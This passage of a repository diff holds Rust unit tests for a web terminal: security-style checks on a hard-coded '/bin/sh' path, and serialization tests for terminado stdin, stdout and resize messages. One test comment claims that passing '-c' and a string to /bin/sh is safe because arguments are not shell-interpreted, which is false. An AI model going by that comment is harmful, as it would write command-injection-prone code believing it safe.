!ch.is_control() || ch == '\n' || ch == '\t',
|
||||
"Command should not contain control character: {:?}",
|
||||
ch
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Symlink and Special File Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_not_in_tmp() {
|
||||
// Commands should not be executed from /tmp (common malware location)
|
||||
let command = "/bin/sh";
|
||||
|
||||
assert!(
|
||||
!command.starts_with("/tmp/"),
|
||||
"Should not execute commands from /tmp"
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_not_in_user_writable_dirs() {
|
||||
// Commands should not be in user-writable directories
|
||||
let command = "/bin/sh";
|
||||
|
||||
let user_writable = vec!["/tmp/", "/var/tmp/", "/home/", "/Users/"];
|
||||
|
||||
for dir in user_writable {
|
||||
if command.starts_with(dir) {
|
||||
panic!("Command should not be in user-writable directory: {}", dir);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Logging and Audit Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_execution_should_be_logged() {
|
||||
// This test documents that command execution should be logged
|
||||
// In the actual code, log::info! is used when spawning processes
|
||||
let command = "/bin/sh";
|
||||
|
||||
// Verify command is loggable (no sensitive data, reasonable length)
|
||||
assert!(
|
||||
command.len() < 1024,
|
||||
"Command should be short enough to log"
|
||||
);
|
||||
assert!(command.is_ascii(), "Command should be safely loggable");
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Integration with Command::new() Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_new_prevents_shell_expansion() {
|
||||
// Document that Command::new does not invoke a shell
|
||||
let cmd = Command::new("/bin/sh");
|
||||
|
||||
// Command::new takes a literal program path, no shell interpretation
|
||||
assert_eq!(cmd.get_program(), "/bin/sh");
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_command_args_separate_from_program() {
|
||||
// Arguments should be passed separately, not in the program string
|
||||
let mut cmd = Command::new("/bin/sh");
|
||||
cmd.arg("-c");
|
||||
cmd.arg("echo hello");
|
||||
|
||||
// This is safe because args are not shell-interpreted
|
||||
assert_eq!(cmd.get_program(), "/bin/sh");
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Summary Test: Complete Security Checklist
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_command_security_checklist() {
|
||||
let command = "/bin/sh";
|
||||
|
||||
// 1. Absolute path
|
||||
assert!(command.starts_with('/'), "Must be absolute path");
|
||||
|
||||
// 2. No path traversal
|
||||
assert!(!command.contains(".."), "No path traversal");
|
||||
|
||||
// 3. No shell metacharacters
|
||||
assert!(!command.contains(';'), "No semicolons");
|
||||
assert!(!command.contains('&'), "No ampersands");
|
||||
assert!(!command.contains('|'), "No pipes");
|
||||
assert!(!command.contains('`'), "No backticks");
|
||||
assert!(!command.contains('$'), "No variable expansion");
|
||||
|
||||
// 4. No null bytes
|
||||
assert!(!command.contains('\0'), "No null bytes");
|
||||
|
||||
// 5. ASCII only
|
||||
assert!(command.is_ascii(), "ASCII only");
|
||||
|
||||
// 6. Reasonable length
|
||||
assert!(command.len() < 256, "Reasonable length");
|
||||
|
||||
// 7. Not in user-writable directory
|
||||
assert!(!command.starts_with("/tmp/"), "Not in /tmp");
|
||||
assert!(!command.starts_with("/var/tmp/"), "Not in /var/tmp");
|
||||
|
||||
// 8. No spaces (absolute path only)
|
||||
assert!(!command.contains(' '), "No spaces in path");
|
||||
|
||||
println!("✓ Command '{}' passed all security checks", command);
|
||||
}
|
||||
@@ -0,0 +1,311 @@
|
||||
// Copyright (c) 2024 Jason Witty <jasonpwitty+socktop@proton.me>.
|
||||
// All rights reserved.
|
||||
//
|
||||
// Unit tests for terminado.rs module
|
||||
|
||||
use webterm::event::IO;
|
||||
use webterm::terminado::TerminadoMessage;
|
||||
|
||||
// ============================================================================
|
||||
// Serialization Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_serialize_resize() {
|
||||
let msg = TerminadoMessage::Resize { rows: 25, cols: 80 };
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["set_size",25,80]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_resize_large_dimensions() {
|
||||
let msg = TerminadoMessage::Resize {
|
||||
rows: 200,
|
||||
cols: 300,
|
||||
};
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["set_size",200,300]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_resize_minimum() {
|
||||
let msg = TerminadoMessage::Resize { rows: 1, cols: 1 };
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["set_size",1,1]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_stdin() {
|
||||
let msg = TerminadoMessage::Stdin(IO::from("hello world"));
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["stdin","hello world"]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_stdin_empty() {
|
||||
let msg = TerminadoMessage::Stdin(IO::from(""));
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["stdin",""]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_stdin_special_chars() {
|
||||
let msg = TerminadoMessage::Stdin(IO::from("tab\there\nnewline"));
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["stdin","tab\there\nnewline"]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_stdin_unicode() {
|
||||
let msg = TerminadoMessage::Stdin(IO::from("Hello 世界 🚀"));
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["stdin","Hello 世界 🚀"]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_stdout() {
|
||||
let msg = TerminadoMessage::Stdout(IO::from("output text"));
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["stdout","output text"]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_stdout_empty() {
|
||||
let msg = TerminadoMessage::Stdout(IO::from(""));
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["stdout",""]"#);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_serialize_stdout_multiline() {
|
||||
let msg = TerminadoMessage::Stdout(IO::from("line1\nline2\nline3"));
|
||||
let json = serde_json::to_string(&msg).unwrap();
|
||||
assert_eq!(json, r#"["stdout","line1\nline2\nline3"]"#);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Deserialization Tests
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_resize() {
|
||||
let json = r#"["set_size", 25, 80]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Resize { rows: 25, cols: 80 });
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_resize_no_spaces() {
|
||||
let json = r#"["set_size",25,80]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Resize { rows: 25, cols: 80 });
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_resize_large() {
|
||||
let json = r#"["set_size", 300, 500]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(
|
||||
msg,
|
||||
TerminadoMessage::Resize {
|
||||
rows: 300,
|
||||
cols: 500
|
||||
}
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdin() {
|
||||
let json = r#"["stdin", "hello world"]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("hello world")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdin_empty() {
|
||||
let json = r#"["stdin", ""]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdin_special_chars() {
|
||||
let json = r#"["stdin", "tab\there\nnewline"]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("tab\there\nnewline")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdin_unicode() {
|
||||
let json = r#"["stdin", "Hello 世界 🚀"]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Stdin(IO::from("Hello 世界 🚀")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdout() {
|
||||
let json = r#"["stdout", "output text"]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Stdout(IO::from("output text")));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdout_empty() {
|
||||
let json = r#"["stdout", ""]"#;
|
||||
let msg = TerminadoMessage::from_json(json).expect("Failed to parse");
|
||||
assert_eq!(msg, TerminadoMessage::Stdout(IO::from("")));
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Round-trip Tests (Serialize then Deserialize)
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_roundtrip_resize() {
|
||||
let original = TerminadoMessage::Resize {
|
||||
rows: 40,
|
||||
cols: 120,
|
||||
};
|
||||
let json = serde_json::to_string(&original).unwrap();
|
||||
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
|
||||
assert_eq!(original, parsed);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_roundtrip_stdin() {
|
||||
let original = TerminadoMessage::Stdin(IO::from("test input"));
|
||||
let json = serde_json::to_string(&original).unwrap();
|
||||
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
|
||||
assert_eq!(original, parsed);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_roundtrip_stdout() {
|
||||
let original = TerminadoMessage::Stdout(IO::from("test output"));
|
||||
let json = serde_json::to_string(&original).unwrap();
|
||||
let parsed = TerminadoMessage::from_json(&json).expect("Failed to parse");
|
||||
assert_eq!(original, parsed);
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Error Cases
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_invalid_json() {
|
||||
let json = r#"not valid json"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_not_array() {
|
||||
let json = r#"{"type": "stdin", "data": "test"}"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_empty_array() {
|
||||
let json = r#"[]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_unknown_type() {
|
||||
let json = r#"["unknown_type", "data"]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdin_wrong_length() {
|
||||
let json = r#"["stdin"]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdin_too_many_elements() {
|
||||
let json = r#"["stdin", "data", "extra"]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdout_wrong_length() {
|
||||
let json = r#"["stdout"]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_resize_wrong_length() {
|
||||
let json = r#"["set_size", 25]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_resize_missing_rows() {
|
||||
let json = r#"["set_size"]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_resize_non_integer() {
|
||||
let json = r#"["set_size", "25", "80"]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_stdin_non_string() {
|
||||
let json = r#"["stdin", 123]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_deserialize_type_not_string() {
|
||||
let json = r#"[123, "data"]"#;
|
||||
let result = TerminadoMessage::from_json(json);
|
||||
assert!(result.is_err());
|
||||
}
|
||||
|
||||
// ============================================================================
|
||||
// Edge Cases
|
||||
// ============================================================================
|
||||
|
||||
#[test]
|
||||
fn test_message_equality() {
|
||||
let msg1 = TerminadoMessage::Stdin(IO::from("same"));
|
||||
let msg2 = TerminadoMessage::Stdin(IO::from("same"));
|
||||
let msg3 = TerminadoMessage::Stdin(IO::from("different"));
|
||||
|
||||
assert_eq!(msg1, msg2);
|
||||
assert_ne!(msg1, msg3);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_message_clone() {
|
||||
let original = TerminadoMessage::Resize { rows: 30, cols: 90 };
|
||||
let cloned = original.clone();
|
||||
assert_eq!(original, cloned);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_resize_different_values() {
|
||||
let msg1 = TerminadoMessage::Resize { rows: 25, cols: 80 };
|
||||
let msg2 = TerminadoMessage::Resize { rows: 30, cols: 90 };
|
||||
assert_ne!(msg1, msg2);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn test_different_message_types_not_equal() {
|
||||
let stdin = TerminadoMessage::Stdin(IO::from("test"));
|
||||
let stdout = TerminadoMessage::Stdout(IO::from("test"));
|
||||
assert_ne!(stdin, stdout);
|
||||
}
|
||||
Reference in New Issue
Block a user